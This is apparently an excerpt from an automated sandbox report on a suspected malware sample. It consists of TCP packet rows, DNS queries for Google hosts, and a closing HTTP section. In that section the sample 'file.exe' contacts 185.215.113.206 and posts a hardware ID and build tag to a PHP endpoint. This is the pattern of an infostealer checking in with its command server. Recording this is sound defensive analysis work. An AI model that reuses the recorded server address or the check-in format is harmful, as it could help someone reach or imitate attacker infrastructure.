Oct 29, 2024 04:53:45.014580011 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.014601946 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.014995098 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.015002012 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.021636963 CET	443	50012	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.021686077 CET	443	50012	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.021804094 CET	50012	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.021814108 CET	443	50012	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.022336006 CET	50012	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.022396088 CET	50012	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.022412062 CET	443	50012	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.022423983 CET	50012	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.022429943 CET	443	50012	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.025346041 CET	50017	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.025399923 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.025490046 CET	50017	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.025636911 CET	50017	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.025655985 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.067830086 CET	443	50013	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.067864895 CET	443	50013	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.067920923 CET	443	50013	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.068047047 CET	50013	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.068047047 CET	50013	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.068140984 CET	50013	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.068150997 CET	443	50013	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.068185091 CET	50013	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.068192959 CET	443	50013	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.070357084 CET	50018	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.070369959 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.070597887 CET	50018	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.070597887 CET	50018	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.070619106 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.264214993 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.264256954 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.264286995 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.264399052 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.264425039 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.264486074 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.266839027 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.266902924 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.266911030 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.266936064 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.266942978 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.266968012 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.266987085 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.267002106 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.267015934 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.267020941 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.269690990 CET	50019	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.269716978 CET	443	50019	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.269810915 CET	50019	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.269967079 CET	50019	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.269978046 CET	443	50019	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.309590101 CET	443	50015	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.310281038 CET	50015	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.310342073 CET	443	50015	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.310751915 CET	50015	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.310765982 CET	443	50015	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.438779116 CET	443	50015	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.438832045 CET	443	50015	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.438961029 CET	443	50015	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.439027071 CET	50015	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.439137936 CET	50015	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.439137936 CET	50015	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.439165115 CET	443	50015	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.439204931 CET	443	50015	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.442100048 CET	50020	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.442131996 CET	443	50020	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.442214966 CET	50020	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.442477942 CET	50020	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.442501068 CET	443	50020	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.721767902 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.722388029 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.722404003 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.722799063 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.722804070 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.794596910 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.795176029 CET	50018	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.795183897 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.795656919 CET	50018	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.795661926 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.801704884 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.802051067 CET	50017	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.802072048 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.802387953 CET	50017	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.802393913 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.929403067 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.929451942 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.929531097 CET	50018	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.929538965 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.929569006 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.929621935 CET	50018	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.929828882 CET	50018	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.929835081 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.929845095 CET	50018	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.929848909 CET	443	50018	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.932677031 CET	50021	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.932723045 CET	443	50021	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.932796001 CET	50021	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.933073044 CET	50021	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.933088064 CET	443	50021	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.938946009 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.938982964 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.939054966 CET	50017	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.939070940 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.939117908 CET	50017	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.939198017 CET	50017	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.939203024 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.939233065 CET	50017	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.939372063 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.939410925 CET	443	50017	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.939455032 CET	50017	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.941107988 CET	50022	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.941145897 CET	443	50022	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.941217899 CET	50022	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.941329002 CET	50022	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.941340923 CET	443	50022	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.966995955 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.967061043 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.967113972 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.967137098 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.967144012 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.967170954 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.967191935 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.975156069 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.975224972 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.975224972 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.975254059 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.975290060 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.975302935 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.975317001 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.975369930 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.975374937 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.975383997 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.975413084 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.977289915 CET	50023	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.977307081 CET	443	50023	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.977365017 CET	50023	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.977498055 CET	50023	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:45.977509975 CET	443	50023	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.015429974 CET	443	50019	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.015786886 CET	50019	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.015794039 CET	443	50019	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.016258955 CET	50019	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.016263962 CET	443	50019	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.146986961 CET	443	50019	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.147141933 CET	443	50019	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.147195101 CET	50019	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.147288084 CET	50019	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.147308111 CET	443	50019	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.147327900 CET	50019	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.147336006 CET	443	50019	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.150222063 CET	50024	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.150243998 CET	443	50024	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.150321007 CET	50024	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.150454044 CET	50024	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.150468111 CET	443	50024	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.215933084 CET	443	50020	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.216408968 CET	50020	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.216451883 CET	443	50020	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.216871977 CET	50020	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.216891050 CET	443	50020	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.361583948 CET	443	50020	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.362023115 CET	443	50020	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.362092018 CET	50020	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.362126112 CET	50020	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.362137079 CET	443	50020	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.362154961 CET	50020	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.362162113 CET	443	50020	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.364749908 CET	50025	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.364842892 CET	443	50025	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.364926100 CET	50025	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.365047932 CET	50025	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.365094900 CET	443	50025	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.674530029 CET	443	50022	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.675060034 CET	50022	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.675092936 CET	443	50022	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.675540924 CET	50022	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.675556898 CET	443	50022	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.694575071 CET	443	50021	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.694936991 CET	50021	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.694961071 CET	443	50021	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.695324898 CET	50021	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.695332050 CET	443	50021	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.713783026 CET	443	50023	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.714101076 CET	50023	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.714119911 CET	443	50023	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.714466095 CET	50023	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.714472055 CET	443	50023	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.810868025 CET	443	50022	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.811013937 CET	443	50022	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.811197996 CET	50022	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.811255932 CET	50022	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.811256886 CET	50022	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.811284065 CET	443	50022	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.811306000 CET	443	50022	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.814099073 CET	50026	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.814115047 CET	443	50026	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.814199924 CET	50026	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.814348936 CET	50026	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.814361095 CET	443	50026	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.826553106 CET	443	50021	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.826942921 CET	443	50021	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.827011108 CET	50021	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.827203035 CET	50021	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.827203035 CET	50021	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.827229023 CET	443	50021	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.827240944 CET	443	50021	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.829199076 CET	50027	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.829267025 CET	443	50027	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.829340935 CET	50027	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.829463005 CET	50027	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.829492092 CET	443	50027	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.847482920 CET	443	50023	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.847546101 CET	443	50023	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.847637892 CET	443	50023	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.847691059 CET	50023	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.847744942 CET	50023	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.847744942 CET	50023	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.849334002 CET	50023	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.849340916 CET	443	50023	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.897547960 CET	443	50024	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.898045063 CET	50024	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.898055077 CET	443	50024	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:46.898627996 CET	50024	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:46.898633003 CET	443	50024	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.030544996 CET	443	50024	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.030616999 CET	443	50024	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.030774117 CET	50024	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.030838966 CET	50024	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.030844927 CET	443	50024	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.030854940 CET	50024	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.030859947 CET	443	50024	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.099689007 CET	443	50025	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.100241899 CET	50025	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.100274086 CET	443	50025	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.100605011 CET	50025	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.100616932 CET	443	50025	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.230726957 CET	443	50025	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.230900049 CET	443	50025	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.230961084 CET	50025	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.231154919 CET	50025	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.231189013 CET	443	50025	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.231215954 CET	50025	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.231231928 CET	443	50025	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.580565929 CET	443	50027	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.581592083 CET	50027	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.581631899 CET	443	50027	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.582364082 CET	50027	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.582376003 CET	443	50027	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.652452946 CET	443	50026	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.652896881 CET	50026	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.652911901 CET	443	50026	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.653306007 CET	50026	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.653311014 CET	443	50026	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.709867954 CET	443	50027	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.710278988 CET	443	50027	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.710342884 CET	50027	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.710417032 CET	50027	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.710417032 CET	50027	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.710445881 CET	443	50027	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.710467100 CET	443	50027	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.782125950 CET	443	50026	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.782263994 CET	443	50026	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.782320976 CET	50026	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.784302950 CET	50026	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.784312010 CET	443	50026	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:47.784321070 CET	50026	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:47.784326077 CET	443	50026	13.107.246.60	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 04:52:14.397578001 CET	53	56640	1.1.1.1	192.168.2.4
Oct 29, 2024 04:52:14.417016983 CET	53	57814	1.1.1.1	192.168.2.4
Oct 29, 2024 04:52:14.593857050 CET	63675	53	192.168.2.4	1.1.1.1
Oct 29, 2024 04:52:14.594173908 CET	60277	53	192.168.2.4	1.1.1.1
Oct 29, 2024 04:52:14.601233959 CET	53	63675	1.1.1.1	192.168.2.4
Oct 29, 2024 04:52:14.601540089 CET	53	60277	1.1.1.1	192.168.2.4
Oct 29, 2024 04:52:15.971101999 CET	53	64592	1.1.1.1	192.168.2.4
Oct 29, 2024 04:52:18.856106043 CET	53651	53	192.168.2.4	1.1.1.1
Oct 29, 2024 04:52:18.856447935 CET	57276	53	192.168.2.4	1.1.1.1
Oct 29, 2024 04:52:18.862284899 CET	53	59853	1.1.1.1	192.168.2.4
Oct 29, 2024 04:52:18.863432884 CET	53	53651	1.1.1.1	192.168.2.4
Oct 29, 2024 04:52:18.866144896 CET	53	57276	1.1.1.1	192.168.2.4
Oct 29, 2024 04:52:19.847872019 CET	57479	53	192.168.2.4	1.1.1.1
Oct 29, 2024 04:52:19.848062992 CET	58182	53	192.168.2.4	1.1.1.1
Oct 29, 2024 04:52:19.854844093 CET	53	57479	1.1.1.1	192.168.2.4
Oct 29, 2024 04:52:19.855160952 CET	53	58182	1.1.1.1	192.168.2.4
Oct 29, 2024 04:52:19.929176092 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 04:52:14.593857050 CET	192.168.2.4	1.1.1.1	0x98ad	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:14.594173908 CET	192.168.2.4	1.1.1.1	0xf950	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 29, 2024 04:52:18.856106043 CET	192.168.2.4	1.1.1.1	0xe81e	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:18.856447935 CET	192.168.2.4	1.1.1.1	0x7094	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 29, 2024 04:52:19.847872019 CET	192.168.2.4	1.1.1.1	0x7a02	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:19.848062992 CET	192.168.2.4	1.1.1.1	0x8fa9	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 04:52:14.601233959 CET	1.1.1.1	192.168.2.4	0x98ad	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:14.601540089 CET	1.1.1.1	192.168.2.4	0xf950	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 29, 2024 04:52:18.863432884 CET	1.1.1.1	192.168.2.4	0xe81e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 04:52:18.863432884 CET	1.1.1.1	192.168.2.4	0xe81e	No error (0)	plus.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:18.866144896 CET	1.1.1.1	192.168.2.4	0x7094	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 04:52:19.854844093 CET	1.1.1.1	192.168.2.4	0x7a02	No error (0)	play.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

slscr.update.microsoft.com

apis.google.com

fs.microsoft.com

play.google.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7420	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 04:52:06.281676054 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:52:07.197201014 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:52:07.200192928 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAEGHIJEHJDHIDHIDAE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 31 34 31 42 37 45 34 39 44 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 2d 2d 0d 0a Data Ascii: ------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="hwid"4141B7E49D7B1953448019------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="build"tale------ECAEGHIJEHJDHIDHIDAE--
